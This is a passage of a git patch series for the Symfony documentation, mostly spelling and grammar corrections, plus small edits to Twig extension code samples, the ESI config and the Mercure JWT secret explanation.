 recognize that the list page - ``/index.php``  - should be accessible also via ``/``
 (if Apache rewrite rules were added). Also, instead of developing the blog,
 a lot of time is being spent working on the "architecture" of the code (e.g.
diff --git a/introduction/http_fundamentals.rst b/introduction/http_fundamentals.rst
index 5e11f44c007..5cb74615c2c 100644
--- a/introduction/http_fundamentals.rst
+++ b/introduction/http_fundamentals.rst
@@ -234,10 +234,10 @@ have all the request information at your fingertips::
     $request->getMethod();    // e.g. GET, POST, PUT, DELETE or HEAD
     $request->getLanguages(); // an array of languages the client accepts
 
-As a bonus, the ``Request`` class does a lot of work in the background that
-you'll never need to worry about. For example, the ``isSecure()`` method
+As a bonus, the ``Request`` class does a lot of work in the background about which
+you will never need to worry. For example, the ``isSecure()`` method
 checks the *three* different values in PHP that can indicate whether or not
-the user is connecting via a secured connection (i.e. HTTPS).
+the user is connecting via a secure connection (i.e. HTTPS).
 
 Symfony Response Object
 ~~~~~~~~~~~~~~~~~~~~~~~

From c3eba93e0615f98a6a8e4b87dfa4e00e5421e679 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 17:35:09 -0400
Subject: [PATCH 2850/7107] Correct spelling & grammar in 4.4 logging/

---
 logging/handlers.rst        | 2 +-
 logging/monolog_console.rst | 2 +-
 logging/monolog_email.rst   | 4 ++--
 logging/processors.rst      | 2 +-
 4 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/logging/handlers.rst b/logging/handlers.rst
index 1682040e504..0ce0f4c3249 100644
--- a/logging/handlers.rst
+++ b/logging/handlers.rst
@@ -9,7 +9,7 @@ ElasticsearchLogstashHandler
     The ``ElasticsearchLogstashHandler`` was introduced in Symfony 4.4.
 
 This handler deals directly with the HTTP interface of Elasticsearch. This means
-it will slow down your application if Elasticsearch takes times to answer. Even
+it will slow down your application if Elasticsearch takes time to answer. Even
 if all HTTP calls are done asynchronously.
 
 In a development environment, it's fine to keep the default configuration: for
diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index 663922f28af..d714d938b4b 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -61,7 +61,7 @@ The example above could then be rewritten as::
 
 Depending on the verbosity level that the command is run in and the user's
 configuration (see below), these messages may or may not be displayed to
-the console. If they are displayed, they are timestamped and colored appropriately.
+the console. If they are displayed, they are time-stamped and colored appropriately.
 Additionally, error logs are written to the error output (``php://stderr``).
 There is no need to conditionally handle the verbosity settings anymore.
 
diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index f68f8c3237e..812367cacd9 100644
--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -142,8 +142,8 @@ is then passed onto the ``deduplicated`` handler.
 
 The ``deduplicated`` handler keeps all the messages for a request and then
 passes them onto the nested handler in one go, but only if the records are
-unique over a given period of time (60 seconds by default). If the records are
-duplicated they are discarded. Adding this handler reduces the amount of
+unique over a given period of time (60 seconds by default). Duplicated records are
+discarded. Adding this handler reduces the amount of
 notifications to a manageable level, specially in critical failure scenarios.
 You can adjust the time period using the ``time`` option:
 
diff --git a/logging/processors.rst b/logging/processors.rst
index 5f1e27834b5..1aa331b23f3 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -179,7 +179,7 @@ Symfony's MonologBridge provides processors that can be registered inside your a
     Adds information about current route (controller, action, route parameters).
 
 :class:`Symfony\\Bridge\\Monolog\\Processor\\ConsoleCommandProcessor`
-    Adds information about current console command.
+    Adds information about the current console command.
 
 .. versionadded:: 4.3
 

From 5dd413e2da1de0bbd4798639b8608f05d59873d4 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 17:38:14 -0400
Subject: [PATCH 2851/7107] Correct spelling & grammar in 4.4 messenger/

---
 messenger/dispatch_after_current_bus.rst | 2 +-
 messenger/multiple_buses.rst             | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger/dispatch_after_current_bus.rst b/messenger/dispatch_after_current_bus.rst
index 7daaaebc676..ec1adf4d0f4 100644
--- a/messenger/dispatch_after_current_bus.rst
+++ b/messenger/dispatch_after_current_bus.rst
@@ -126,7 +126,7 @@ will not be rolled back.
     If ``WhenUserRegisteredThenSendWelcomeEmail`` throws an exception, that
     exception will be wrapped into a ``DelayedMessageHandlingException``. Using
     ``DelayedMessageHandlingException::getExceptions`` will give you all
-    exceptions that are thrown while handing a message with the
+    exceptions that are thrown while handling a message with the
     ``DispatchAfterCurrentBusStamp``.
 
 The ``dispatch_after_current_bus`` middleware is enabled by default. If you're
diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 4ee95c1380d..fcafbe0deaf 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -235,7 +235,7 @@ Debugging the Buses
 -------------------
 
 The ``debug:messenger`` command lists available messages & handlers per bus.
-You can also restrict the list to a specific bus by providing its name as argument.
+You can also restrict the list to a specific bus by providing its name as an argument.
 
 .. code-block:: terminal
 

From 2c8104c028385d272afee69cb77b2895dd4bb0b9 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 17:40:33 -0400
Subject: [PATCH 2852/7107] Correct spelling & grammar in 4.4 profiler/

---
 profiler/data_collector.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/profiler/data_collector.rst b/profiler/data_collector.rst
index 292047b5dc7..21124b2fbb5 100644
--- a/profiler/data_collector.rst
+++ b/profiler/data_collector.rst
@@ -92,7 +92,7 @@ Enabling Custom Data Collectors
 
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`
 with ``autoconfigure``, then Symfony will automatically see your new data collector!
-Your ``collect()`` method should be called next time your refresh.
+Your ``collect()`` method should be called the next time you refresh.
 
 If you're not using ``autoconfigure``, you can also :ref:`manually wire your service <services-explicitly-configure-wire-services>`
 and :doc:`tag </service_container/tags>` it with ``data_collector``.

From 7e8e51580fe4c07b76e0cba55132623c69d00b94 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 17:44:19 -0400
Subject: [PATCH 2853/7107] Correct spelling & grammar in 4.4 quick_tour/

---
 quick_tour/flex_recipes.rst     | 4 ++--
 quick_tour/the_architecture.rst | 3 +--
 2 files changed, 3 insertions(+), 4 deletions(-)

diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index 1b929667b92..7df715aca5a 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -29,7 +29,7 @@ are included in your ``composer.json`` file:
         "symfony/yaml": "^4.1"
     }
 
-This makes Symfony different than any other PHP framework! Instead of starting with
+This makes Symfony different from any other PHP framework! Instead of starting with
 a *bulky* app with *every* possible feature you might ever need, a Symfony app is
 small, simple and *fast*. And you're in total control of what you add.
 
@@ -253,7 +253,7 @@ Not convinced yet? No problem: remove the library:
 
     $ composer remove api
 
-Flex will *uninstall* the recipes: removing files and un-doing changes to put your
+Flex will *uninstall* the recipes: removing files and undoing changes to put your
 app back in its original state. Experiment without worry.
 
 More Features, Architecture and Speed
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 0d640d1746d..50bb4e34708 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -290,8 +290,7 @@ Environment Variables
 ---------------------
 
 Every app contains configuration that's different on each server - like database
-connection information or passwords. How should these be stored? In files? Or some
-other way?
+connection information or passwords. How should these be stored? In files? Or another way?
 
 Symfony follows the industry best practice by storing server-based configuration
 as *environment* variables. This means that Symfony works *perfectly* with

From 7566ba7e4f00e35de2c369eefffd09e0d2875e80 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 18:13:34 -0400
Subject: [PATCH 2854/7107] Correct spelling & grammar in 4.4 routing/

---
 routing/custom_route_loader.rst   | 2 +-
 routing/routing_from_database.rst | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index 16a445d96a6..cf64bbca000 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -82,7 +82,7 @@ Symfony provides several route loaders for the most common needs:
 
 .. note::
 
-    When importing resources, the key (e.g. ``app_file``) is the name of collection.
+    When importing resources, the key (e.g. ``app_file``) is the name of the collection.
     Just be sure that it's unique per file so no other lines override it.
 
 If your application needs are different, you can create your own custom route
diff --git a/routing/routing_from_database.rst b/routing/routing_from_database.rst
index 03016259127..28d539a77f1 100644
--- a/routing/routing_from_database.rst
+++ b/routing/routing_from_database.rst
@@ -24,7 +24,7 @@ When all routes are known during deploy time and the number is not too
 high, using a :doc:`custom route loader <custom_route_loader>` is the
 preferred way to add more routes. When working with only one type of
 objects, a slug parameter on the object and the ``@ParamConverter``
-annotation work fine (see `FrameworkExtraBundle`_) .
+annotation works fine (see `FrameworkExtraBundle`_) .
 
 The ``DynamicRouter`` is useful when you need ``Route`` objects with
 the full feature set of Symfony. Each route can define a specific

From f05958230fa2255586a1f3a8c780e3a7467d7b83 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 18:25:10 -0400
Subject: [PATCH 2855/7107] Correct spelling & grammar in 4.4 security/

---
 security/custom_authentication_provider.rst | 8 ++++----
 security/form_login_setup.rst               | 2 +-
 security/multiple_guard_authenticators.rst  | 4 ++--
 security/password_migration.rst             | 2 +-
 security/voters.rst                         | 2 +-
 5 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index 5acd7333f38..155ddc6d327 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -31,7 +31,7 @@ provider for WSSE authentication. The security protocol for WSSE provides
 several security benefits:
 
 #. Username / Password encryption
-#. Safe guarding against replay attacks
+#. Safeguarding against replay attacks
 #. No web server configuration required
 
 WSSE is very useful for the securing of web services, may they be SOAP or
@@ -147,7 +147,7 @@ set an authenticated token in the token storage if successful::
             } catch (AuthenticationException $failed) {
                 // ... you might log something here
 
-                // To deny the authentication clear the token. This will redirect to the login page.
+                // To deny the authentication, clear the token. This will redirect to the login page.
                 // Make sure to only clear your token, not those of other authentication listeners.
                 // $token = $this->tokenStorage->getToken();
                 // if ($token instanceof WsseUserToken && $this->providerKey === $token->getProviderKey()) {
@@ -372,8 +372,8 @@ a firewall in your security configuration.
     You may be wondering "why do you need a special factory class to add listeners
     and providers to the dependency injection container?". This is a very
     good question. The reason is you can use your firewall multiple times,
-    to secure multiple parts of your application. Because of this, each
-    time your firewall is used, a new service is created in the DI container.
+    to secure multiple parts of your application. Because of this, when
+    your firewall is used, a new service is created in the DI container.
     The factory is what creates these new services.
 
 Configuration
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index 9da33f287f6..70a77738e9e 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -463,7 +463,7 @@ deal with this low level session variable. However, the
 can be used to read (like in the example above) or set this value manually.
 
 When the user tries to access a restricted page, they are being redirected to
-the login page. At that point target path will be set. After a successful login,
+the login page. At that point the target path will be set. After a successful login,
 the user will be redirected to this previously set target path.
 
 If you also want to apply this behavior to public pages, you can create an
diff --git a/security/multiple_guard_authenticators.rst b/security/multiple_guard_authenticators.rst
index 0a93eae6e9c..8995b75701b 100644
--- a/security/multiple_guard_authenticators.rst
+++ b/security/multiple_guard_authenticators.rst
@@ -13,7 +13,7 @@ Multiple Authenticators with Shared Entry Point
 Sometimes you want to offer your users different authentication mechanisms like
 a form login and a Facebook login while both entry points redirect the user to
 the same login page.
-However, in your configuration you have to explicitly say which entry point
+However, in your configuration you have to explicitly specify which entry point
 you want to use.
 
 This is how your security configuration can look in action:
@@ -85,7 +85,7 @@ Multiple Authenticators with Separate Entry Points
 
 However, there are use cases where you have authenticators that protect different
 parts of your application. For example, you have a login form that protects
-the secured area of your application front-end and API end points that are
+the secured area of your application front-end and API endpoints that are
 protected with API tokens. As you can only configure one entry point per firewall,
 the solution is to split the configuration into two separate firewalls:
 
diff --git a/security/password_migration.rst b/security/password_migration.rst
index 426a9626cbc..a52bde612a4 100644
--- a/security/password_migration.rst
+++ b/security/password_migration.rst
@@ -135,7 +135,7 @@ password should be stored:
 * :ref:`When using Doctrine's entity user provider <upgrade-the-password-doctrine>`
 * :ref:`When using a custom user provider <upgrade-the-password-custom-provider>`
 
-After this, you're done and passwords are always hashed as secure as possible!
+After this, you're done and passwords are always hashed as securely as possible!
 
 .. _provide-the-password-guard:
 
diff --git a/security/voters.rst b/security/voters.rst
index 84cbb446704..d96be9bf6c4 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -28,7 +28,7 @@ example for voters.
 
     Take a look at the
     :doc:`authorization </components/security/authorization>`
-    article for an even deeper understanding on voters.
+    article for an even deeper understanding of voters.
 
 Here's how Symfony works with voters:
 All voters are called each time you use the ``isGranted()`` method on Symfony's

From 37ba51662779fb80e1a313cc1137428b856053a8 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 18:35:24 -0400
Subject: [PATCH 2856/7107] Correct spelling & grammar in 4.4
 service_container/

---
 service_container/autowiring.rst      | 4 ++--
 service_container/injection_types.rst | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index bb08f8b6516..61a22172f9d 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -186,7 +186,7 @@ If there is *not* a service whose id exactly matches the type, a clear exception
 will be thrown.
 
 Autowiring is a great way to automate configuration, and Symfony tries to be as
-*predictable* and clear as possible.
+*predictable* and as clear as possible.
 
 .. _service-autowiring-alias:
 
@@ -273,7 +273,7 @@ class is type-hinted.
 
 .. versionadded:: 4.2
 
-    Since Monolog Bundle 3.5 each channel bind into container by type-hinted alias.
+    Since Monolog Bundle 3.5 each channel binds into the container by type-hinted alias.
     More info in the part about :ref:`how to autowire monolog channels <monolog-autowire-channels>`.
 
 .. _autowiring-interface-alias:
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index 6b7b74d1d24..d0b79892dfe 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -196,7 +196,7 @@ This approach is useful if you need to configure your service according to your
 so, here's the advantages of immutable-setters:
 
 * Immutable setters works with optional dependencies, this way, if you don't need
-  a dependency, the setter don't need to be called.
+  a dependency, the setter doesn't need to be called.
 
 * Like the constructor injection, using immutable setters force the dependency to stay
   the same during the lifetime of a service.

From a36d52a700343b17c75a2e17495b1c510cfdb1bb Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Wed, 15 Dec 2021 13:07:43 +0330
Subject: [PATCH 2857/7107] Update esi.rst

---
 http_cache/esi.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index b23b19eda36..1f81a86c8a0 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -65,7 +65,7 @@ First, to use ESI, be sure to enable it in your application configuration:
         # config/packages/framework.yaml
         framework:
             # ...
-            esi: { enabled: true }
+            esi: true
 
     .. code-block:: xml
 

From 7872cdaed11fe48ef42cc22ba96ffa6e20b1a15e Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Wed, 15 Dec 2021 06:45:16 -0400
Subject: [PATCH 2858/7107] Correct spelling & grammar in 4.4 setup/

---
 setup/bundles.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/setup/bundles.rst b/setup/bundles.rst
index e84bc4addb1..fe4f59cb819 100644
--- a/setup/bundles.rst
+++ b/setup/bundles.rst
@@ -4,7 +4,7 @@
 Upgrading a Third-Party Bundle for a Major Symfony Version
 ==========================================================
 
-Symfony 3 was released on November 2015. Although this version doesn't contain
+Symfony 3 was released in November 2015. Although this version doesn't contain
 any new features, it removes all the backward compatibility layers included in
 the previous 2.8 version. If your bundle uses any deprecated feature and it's
 published as a third-party bundle, applications upgrading to Symfony 3 will no
@@ -26,8 +26,8 @@ Most third-party bundles define their Symfony dependencies using the ``~2.N`` or
         }
     }
 
-These constraints prevent the bundle from using Symfony 3 components, so it makes
-it impossible to install it in a Symfony 3 based application. Thanks to the
+These constraints prevent the bundle from using Symfony 3 components, which
+means the bundle cannot be installed in a Symfony 3 based application. Thanks to the
 flexibility of Composer dependencies constraints, you can specify more than one
 major version by replacing ``~2.N`` by ``~2.N|~3.0`` (or ``^2.N`` by ``^2.N|~3.0``).
 

From cd10ed2cba47f5a79facfc2ad96d46ef4df151f3 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Wed, 15 Dec 2021 06:49:00 -0400
Subject: [PATCH 2859/7107] Correct spelling & grammar in 4.4 templating/

---
 templating/global_variables.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templating/global_variables.rst b/templating/global_variables.rst
index 2e2c841812c..6879fdd21f3 100644
--- a/templating/global_variables.rst
+++ b/templating/global_variables.rst
@@ -4,7 +4,7 @@
 How to Inject Variables Automatically into all Templates
 ========================================================
 
-Twig allows to inject automatically one or more variables into all templates.
+Twig allows you to automatically inject one or more variables into all templates.
 These global variables are defined in the ``twig.globals`` option inside the
 main Twig configuration file:
 

From 30882c9c52cbd5cb30d23064a2be3e378f82416d Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Wed, 15 Dec 2021 07:09:59 -0400
Subject: [PATCH 2860/7107] Correct spelling & grammar in 4.4 validation/

---
 validation/custom_constraint.rst | 8 ++++----
 validation/groups.rst            | 2 +-
 validation/sequence_provider.rst | 2 +-
 3 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 5ebd2f659d1..d9933e7671b 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -29,8 +29,8 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
 
 .. note::
 
-    The ``@Annotation`` annotation is necessary for this new constraint in
-    order to make it available for use in classes via annotations.
+    The ``@Annotation`` annotation is necessary for this new constraint
+    to make it available for use in classes via annotations.
     Options for your constraint are represented as public properties on the
     constraint class.
 
@@ -217,8 +217,8 @@ With this, the validator's ``validate()`` method gets an object as its first arg
 
 .. tip::
 
-    The ``atPath()`` method defines the property which the validation error is
-    associated to. Use any :doc:`valid PropertyAccess syntax </components/property_access>`
+    The ``atPath()`` method defines the property with which the validation error is
+    associated. Use any :doc:`valid PropertyAccess syntax </components/property_access>`
     to define that property.
 
 A class constraint validator is applied to the class itself, and
diff --git a/validation/groups.rst b/validation/groups.rst
index 7681f583a08..49cf11e05eb 100644
--- a/validation/groups.rst
+++ b/validation/groups.rst
@@ -142,7 +142,7 @@ With this configuration, there are three validation groups:
 
 ``registration``
     This is a custom validation group, so it only contains the constraints
-    explicitly associated to it. In this example, only the ``email`` and
+    that are explicitly associated with it. In this example, only the ``email`` and
     ``password`` fields.
 
 Constraints in the ``Default`` group of a class are the constraints that have
diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index 11edc43a7e0..9990a41afe4 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -288,7 +288,7 @@ method, which should return an array of groups to use::
         public function getGroupSequence()
         {
             // when returning a simple array, if there's a violation in any group
-            // the rest of groups are not validated. E.g. if 'User' fails,
+            // the rest of the groups are not validated. E.g. if 'User' fails,
             // 'Premium' and 'Api' are not validated:
             return ['User', 'Premium', 'Api'];
 

From 2b7849519fc0c1b7032ea56a5fc5eb724d0215ce Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Wed, 15 Dec 2021 07:00:43 -0400
Subject: [PATCH 2861/7107] Correct spelling & grammar in 4.4 translation/

---
 translation/locale.rst         |  2 +-
 translation/message_format.rst | 34 +++++++++++++++++-----------------
 2 files changed, 18 insertions(+), 18 deletions(-)

diff --git a/translation/locale.rst b/translation/locale.rst
index 87f973a146a..da2cefe58d6 100644
--- a/translation/locale.rst
+++ b/translation/locale.rst
@@ -31,7 +31,7 @@ it::
     The custom listener must be called **before** ``LocaleListener``, which
     initializes the locale based on the current request. To do so, set your
     listener priority to a higher value than ``LocaleListener`` priority (which
-    you can obtain running the ``debug:event kernel.request`` command).
+    you can obtain by running the ``debug:event kernel.request`` command).
 
 Read :doc:`/session/locale_sticky_session` for more information on making
 the user's locale "sticky" to their session.
diff --git a/translation/message_format.rst b/translation/message_format.rst
index eff82a0e123..3010b04c62b 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -9,7 +9,7 @@ How to Translate Messages using the ICU MessageFormat
    Support for ICU MessageFormat was introduced in Symfony 4.2.
 
 Messages (i.e. strings) in applications are almost never completely static.
-They contain variables or other complex logic like pluralization. In order to
+They contain variables or other complex logic like pluralization. To
 handle this, the Translator component supports the `ICU MessageFormat`_ syntax.
 
 .. tip::
@@ -92,7 +92,7 @@ Selecting Different Messages Based on a Condition
 
 The curly brace syntax allows to "modify" the output of the variable. One of
 these functions is the ``select`` function. It acts like PHP's `switch statement`_
-and allows to use different strings based on the value of the variable. A
+and allows you to use different strings based on the value of the variable. A
 typical usage of this is gender:
 
 .. configuration-block::
@@ -104,9 +104,9 @@ typical usage of this is gender:
         # the 'other' key is required, and is selected if no other case matches
         invitation_title: >-
             {organizer_gender, select,
-                female {{organizer_name} has invited you for her party!}
-                male   {{organizer_name} has invited you for his party!}
-                other  {{organizer_name} have invited you for their party!}
+                female {{organizer_name} has invited you to her party!}
+                male   {{organizer_name} has invited you to his party!}
+                other  {{organizer_name} have invited you to their party!}
             }
 
     .. code-block:: xml
@@ -120,9 +120,9 @@ typical usage of this is gender:
                         <source>invitation_title</source>
                         <!-- the 'other' key is required, and is selected if no other case matches -->
                         <target>{organizer_gender, select,
-                            female {{organizer_name} has invited you for her party!}
-                            male {{organizer_name} has invited you for his party!}
-                            other {{organizer_name} have invited you for their party!}
+                            female {{organizer_name} has invited you to her party!}
+                            male {{organizer_name} has invited you to his party!}
+                            other {{organizer_name} have invited you to their party!}
                         }</target>
                     </trans-unit>
                 </body>
@@ -135,9 +135,9 @@ typical usage of this is gender:
         return [
             // the 'other' key is required, and is selected if no other case matches
             'invitation_title' => '{organizer_gender, select,
-                female {{organizer_name} has invited you for her party!}
-                male   {{organizer_name} has invited you for his party!}
-                other  {{organizer_name} have invited you for their party!}
+                female {{organizer_name} has invited you to her party!}
+                male   {{organizer_name} has invited you to his party!}
+                other  {{organizer_name} have invited you to their party!}
             }',
         ];
 
@@ -147,13 +147,13 @@ later, ``function_statement`` is optional for some functions). In this case,
 the function name is ``select`` and its statement contains the "cases" of this
 select. This function is applied over the ``organizer_gender`` variable::
 
-    // prints "Ryan has invited you for his party!"
+    // prints "Ryan has invited you to his party!"
     echo $translator->trans('invitation_title', [
         'organizer_name' => 'Ryan',
         'organizer_gender' => 'male',
     ]);
 
-    // prints "John & Jane have invited you for their party!"
+    // prints "John & Jane have invited you to their party!"
     echo $translator->trans('invitation_title', [
         'organizer_name' => 'John & Jane',
         'organizer_gender' => 'not_applicable',
@@ -164,10 +164,10 @@ you to use literal text in the select statements:
 
 #. The first ``{organizer_gender, select, ...}`` block starts the "code" mode,
    which means ``organizer_gender`` is processed as a variable.
-#. The inner ``{... has invited you for her party!}`` block brings you back in
+#. The inner ``{... has invited you to her party!}`` block brings you back in
    "literal" mode, meaning the text is not processed.
 #. Inside this block, ``{organizer_name}`` starts "code" mode again, allowing
-   ``organizer_name`` to be processed as variable.
+   ``organizer_name`` to be processed as a variable.
 
 .. tip::
 
@@ -225,7 +225,7 @@ handle pluralization in your messages (e.g. ``There are 3 apples`` vs
 Pluralization rules are actually quite complex and differ for each language.
 For instance, Russian uses different plural forms for numbers ending with 1;
 numbers ending with 2, 3 or 4; numbers ending with 5, 6, 7, 8 or 9; and even
-some exceptions of this!
+some exceptions to this!
 
 In order to properly translate this, the possible cases in the ``plural``
 function are also different for each language. For instance, Russian has
@@ -279,7 +279,7 @@ Usage of this string is the same as with variables and select::
 .. sidebar:: Using Ranges in Messages
 
     The pluralization in the legacy Symfony syntax could be used with custom
-    ranges (e.g. have a different messages for 0-12, 12-40 and 40+). The ICU
+    ranges (e.g. have different messages for 0-12, 12-40 and 40+). The ICU
     message format does not have this feature. Instead, this logic should be
     moved to PHP code::
 

From 16d036e76bed4857fc514167868248bffd7231db Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Thu, 16 Dec 2021 12:40:44 +0100
Subject: [PATCH 2862/7107] Update twig_extension.rst

---
 templating/twig_extension.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/templating/twig_extension.rst b/templating/twig_extension.rst
index 03fcd7a9471..ad6e6cda31b 100644
--- a/templating/twig_extension.rst
+++ b/templating/twig_extension.rst
@@ -42,7 +42,7 @@ Create a class that extends ``AbstractExtension`` and fill in the logic::
             ];
         }
 
-        public function formatPrice($number, $decimals = 0, $decPoint = '.', $thousandsSep = ',')
+        public function formatPrice(float $number, int $decimals = 0, string $decPoint = '.', string $thousandsSep = ','): string
         {
             $price = number_format($number, $decimals, $decPoint, $thousandsSep);
             $price = '$'.$price;
@@ -69,7 +69,7 @@ If you want to create a function instead of a filter, define the
             ];
         }
 
-        public function calculateArea(int $width, int $length)
+        public function calculateArea(int $width, int $length): int
         {
             return $width * $length;
         }
@@ -157,7 +157,7 @@ previous ``formatPrice()`` method::
             // extensions, you'll need to inject services using this constructor
         }
 
-        public function formatPrice($number, $decimals = 0, $decPoint = '.', $thousandsSep = ',')
+        public function formatPrice(float $number, int $decimals = 0, string $decPoint = '.', string $thousandsSep = ','): string
         {
             $price = number_format($number, $decimals, $decPoint, $thousandsSep);
             $price = '$'.$price;

From f948ab29ffebf4673c585d5f41a6eecb8c8d5aeb Mon Sep 17 00:00:00 2001
From: tchap <tchapi@users.noreply.github.com>
Date: Wed, 24 Nov 2021 09:53:39 +0100
Subject: [PATCH 2863/7107] Update mercure.rst regarding JWT token secret

:wave:

The documentation for the configuration of mercure seems quite wrong: it has a big "caution" block stating that the `MERCURE_JWT_SECRET` should contain an _actual JWT_ ... instead of a secret, which is weird (and definitely not how it works).

I propose to remove these (maybe out of date?) parts to prevent further confusion (_I spent a full day examining the actual source to understand what was really needed in the env var_).

Also, added a tip on how setting the cookies twice would not work.

PS: I created this PR against the 5.3 (current) branch since the 4.4 branch does not have the same paragraphs. Hope it's good.
---
 mercure.rst | 41 +++++++++--------------------------------
 1 file changed, 9 insertions(+), 32 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 205b426a922..c2435a826d7 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -111,38 +111,7 @@ the publicly available URL (e.g. ``https://example.com/.well-known/mercure``).
 The clients must also bear a `JSON Web Token`_ (JWT)
 to the Mercure Hub to be authorized to publish updates and, sometimes, to subscribe.
 
-This JWT should be stored in the ``MERCURE_JWT_SECRET`` environment variable.
-
-The JWT must be signed with the same secret key as the one used by
-the Hub to verify the JWT (``!ChangeMe!`` in you use the Local Web Server or
-Symfony Docker).
-Its payload must contain at least the following structure to be allowed to
-publish:
-
-.. code-block:: json
-
-    {
-        "mercure": {
-            "publish": []
-        }
-    }
-
-Because the array is empty, the Symfony app will only be authorized to publish
-public updates (see the authorization_ section for further information).
-
-.. tip::
-
-    The jwt.io website is a convenient way to create and sign JWTs.
-    Checkout this `example JWT`_, that grants publishing rights for all *topics*
-    (notice the star in the array).
-    Don't forget to set your secret key properly in the bottom of the right panel of the form!
-
-.. caution::
-
-    Don't put the secret key in ``MERCURE_JWT_SECRET``, it will not work!
-    This environment variable must contain a JWT, signed with the secret key.
-
-    Also, be sure to keep both the secret key and the JWTs... secrets!
+This token must be signed with the same secret key as the one used by the Hub to verify the JWT (``!ChangeMe!`` in you use the Local Web Server or Symfony Docker), which should be stored in the ``MERCURE_JWT_SECRET`` environment variable.
 
 If you don't want to use the provided environment variables,
 use the following configuration:
@@ -482,6 +451,14 @@ And here is the controller::
         }
     }
 
+
+.. tip::
+
+    You cannot use the ``mercure()`` helper and the ``setCookie()``
+    method at the same time (it would set the cookie twice on a single request). Choose
+    either one method or the other.
+
+
 Programmatically Generating The JWT Used to Publish
 ---------------------------------------------------
 

From 123ad73a49070838267d884ef37949ad54852ec9 Mon Sep 17 00:00:00 2001
From: tchap <tchapi@users.noreply.github.com>
Date: Wed, 24 Nov 2021 10:47:51 +0100
Subject: [PATCH 2864/7107] Remove unneeded JWT reference

---
 mercure.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index c2435a826d7..874e5d3bb12 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -711,7 +711,6 @@ Going further
 .. _`Symfony Docker`: https://github.com/dunglas/symfony-docker/
 .. _`API Platform distribution`: https://api-platform.com/docs/distribution/
 .. _`JSON Web Token`: https://tools.ietf.org/html/rfc7519
